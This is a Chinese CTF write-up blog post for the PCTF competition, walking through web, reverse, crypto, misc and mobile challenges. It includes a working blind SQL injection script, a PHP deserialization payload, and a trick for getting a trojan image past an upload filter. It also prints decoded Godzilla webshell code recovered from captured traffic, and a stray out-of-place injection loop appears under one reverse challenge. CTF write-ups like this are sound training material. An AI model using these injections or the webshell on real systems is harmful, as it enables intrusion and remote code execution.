PCTFWP

最新推荐文章于 2024-05-10 23:02:25 发布

正在努力中的小白♤

最新推荐文章于 2024-05-10 23:02:25 发布

阅读量74

点赞数

文章标签： android

本文链接：https://blog.csdn.net/qq_73861475/article/details/134883827

版权

web

Sign In

查看源代码，访问提示文件就可得到flag

easyupload

先上传一个图片马，会提示特洛伊文件，于是就改文件名，重新上传就可以得到flag

类似： [MoeCTF 2022]what are y0u uploading？

先做我

?poc=a:1:{s:5:"admin";b:1;}

111z_sql

查看源代码，发现copyright.php文件

进行测试发现，注入点为id

使用脚本就可以得到flag

import requests

url = "http://node6.anna.nssctf.cn:28960/copyright.php"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0",
    "Accept": "*/*",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "http://node6.anna.nssctf.cn:28959",
    "Referer": "http://node6.anna.nssctf.cn:28959/"
}
# payload = "id=0'||if(ascii(substr((select%09database()),{},1))>{},1,0)#"
# payload = "id=0'||if(ascii(substr((select%09group_concat(table_name)from(information_schema.tables)where(table_schema=database())),{},1))>{},1,0)#"
# payload = "id=0'||if(ascii(substr((select%09group_concat(column_name)from(information_schema.columns)where(table_name='flag')),{},1))>{},1,0)#"
payload = "id=0'||if(ascii(substr((select%09group_concat(pctf)from(xitif_sql.flag)),{},1))>{},1,0)#"
flag =''
for i in range(1,100):
    high = 128
    low = 32
    mid = (high+low)//2
    while high>low:
        payload1 =payload.format(i,mid)
        response = requests.post(url=url, headers=headers, data=payload1)
        # print(response.text)
        # print(payload1)
        if "flag{fake_flag}"  in response.text:
            low = mid +1
        else:
            high = mid
        mid = (high+low)//2
    if chr(mid) == " ":
        break
    flag += chr(mid)
    print(flag)

reverse

文学ida与化学gdb

将下载好的附件用记事本打开搜索flag，就可以发现flag

baby_python

import base64
def decrypt(encoded_str):
    decoded_bytes=base64.b64decode(encoded_str)
    decoded_str = decoded_bytes.decode('utf-8')
    decrypted=[]
    for char in decoded_str:
        decrypted_char = chr(ord(char)^0x10)
        decrypted.append(decrypted_char)
    return ''.join(decrypted)
encrypted_string="dnxxd2tAaWR4X35PIWNPYnVxISEpT3l+ZHVidWNkWX53IWkxMTFt"
decrypted_result = decrypt(encrypted_string)
print(decrypted_result)

for i in range(0,50):
    for j in range(0,256):
        payload1 =payload.format(i,j)
        data = {
            "username": payload1,
            "password": "123"
        }
        request = requests.post(url, data)
        if "yes" in request.text:
            print(chr(j),end="")
print()
print(payload1)

upx

encode = [
    0xCC, 0x8D, 0x2C, 0xEC, 0x6F, 0x2F, 0x66, 0x6E, 0xEB, 0x2F,
    0x06, 0xAA, 0xEB, 0x6D, 0xC9, 0x06, 0xCE, 0xCE, 0xEB, 0xAA,
    0x0E, 0x0F, 0xEB, 0xEE, 0x66, 0x8D, 0x8D, 0x24, 0x24, 0x24,
    0xAF, 0x00
]

def ror(a1, a2):
    return ((a1 << a2) | (a1 >> (8 - a2))) & 0xFF

flag = []

for i in range(len(encode)):
    decrypted = chr(ror(encode[i], 3))
    flag.append(decrypted)

print("Decrypted flag: " + "".join(flag))

密码

原神，启动！

百度提瓦特文字，对照着解码，再全部写成小写的就是flag

misc

cancanneed

kali虚拟机中binwalk提取图片中的信息检查就会发现flag

w3nx1z1去哪儿

百度搜图，查看位置

Cyber_Master

将得到的字符串用base解密，得到新的字符串就接着解密

wyz大战哥斯拉

先url解码

eval(base64_decode(strrev(urldecode('=oQD9pQD9BCIgAiCN0HIgACIgACIgoQD7kSeltGJsEGdhRGJoUGZvNmbl1TXl1WYORWYvxWehBHJb50TJN1UFN1XkACIgACIgACIgACIgoQD7lSZzxWYm1TPhkiIvZmbJN3YpNXYCRXZnJCLhRXYkRCKz9GcyR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VWCJoQD9BCIgACIgACIK0wOpkXZrRCLkF2bslXYwRCKlR2bj5WZ9QWYvxWehBHJgACIgACIgACIgACIK0wepU2csFmZ90TPpIybm5WSzNWazFmQ0V2ZiwCZh9Gb5FGckgycvBnc0NHKgYWagACIgACIgAiCNsTK5V2akwSXl1WYORWYvxWehBHJb50TJN1UFN1XkgSZk92YuVWPkF2bslXYwRCIgACIgACIgoQD7lSKdVWbh5EZh9Gb5FGckslTPl0UTV0UfRCK0V2czlGKgYWagACIgoQD7kSeltGJskSXzNXYwRyWUN1TQ9FJoUGZvNWZk9FN2U2chJGKlR2bj5WZ9EGdhRGJgACIgoQD7lSKdN3chBHJbR1UPB1XkgCdlN3cphCImlmCNszJ0QDO0cjZlFjM2QGO0EjNycSP5V2akoQD7cCZh9Gb5FGcn0TZtFmTkF2bslXYwRiCNszJiN3J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));&sb=Kbo8OGQ2MjFlZgK6CT/2AiZ3d2+bcvqh1CEyIz+jGi+8OyIyCtfce8crmeBswOvpl387hqMxPRLQR0bFbn5VFjuZOZZEW9gSOV9GqmU6ppKt7AQ8iHL0JikYjdG9iuTFCx3nEOrIAkee8ZKFruW/TILC8W0SI+nhuf305yOJC+scQ8J6AyGL6ch3y1WUEXKl3jaDhOIGrjFlZg==

倒序

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='sb';
$payloadName='payload';
$key='26148d621ef74844';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

有很长一段的数据，解密后就是下面的

$parameters=array();
$_SES=array();
function run($pms){
    global $ERRMSG;

    reDefSystemFunc();
    $_SES=&getSession();
    @session_start();
    $sessioId=md5(session_id());
    if (isset($_SESSION[$sessioId])){
        $_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
    }
    @session_write_close();

    if (canCallGzipDecode()==1&&@isGzipStream($pms)){
        $pms=gzdecode($pms);
    }
    formatParameter($pms);

    if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

    if (function_existsEx("set_error_handler")){
        @set_error_handler("payloadErrorHandler");
    }
    if (function_existsEx("set_exception_handler")){
        @set_exception_handler("payloadExceptionHandler");
    }
    $result=@evalFunc();

大致看了下，就是获得zip流，然后解压啥啥的

解命令和结果的py

<?php
function encode($D,$K) {
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$String ='Kbo8OGQ2MjFlZlL5iT72Aiax1eixoTooX0wNDrDkYXaGoRFz3I2qcfdtwj7V76/vWcjzJ24IYJRETJKUmAq1BOay7nQzwZB71x5+aOWIzCIk/fjBj2xeXjwXQOJig4L+KPwcQ0crQEaamgz+HnJrXNWIpHyikR0FeZyhArq9f8MjTktNjRC8MWVm';
$key='26148d621ef74844';
$data=encode(base64_decode($String),$key);
file_put_contents('C:\Users\OHHHH\Desktop\py文件\flag2.txt', $data);
echo $data;

获得的结果，直接改后缀为zip，然后解压得到

whoami

dir

按照惯例，直接拉到最后一个，查看获得flag的值

1z_gif

用网站工具分帧拼接，修复（补上三个角）

DynamiteLab – A Free Online PCAP File Viewer and Analyzer

然后一扫

U2FsdGVkX1/Jnjw7kjk86/l86VHMyAu3l4UtTWLT/NTnMII6rmLIsitb/RJr0rUt
iw0mlEma4zdBD337n+RM+Q==

base64解密后，什么Salted

查询后，得知是AES或者Rabbit解密

但不知道密钥，又翻来翻去，知道了一个时间差的信息

去试试，2变0，3变1

转换后为timeuse

mobile

find_the_cat

将apk文件用notepad++打开，搜索flag，一直查看到两千多行就可以发现flag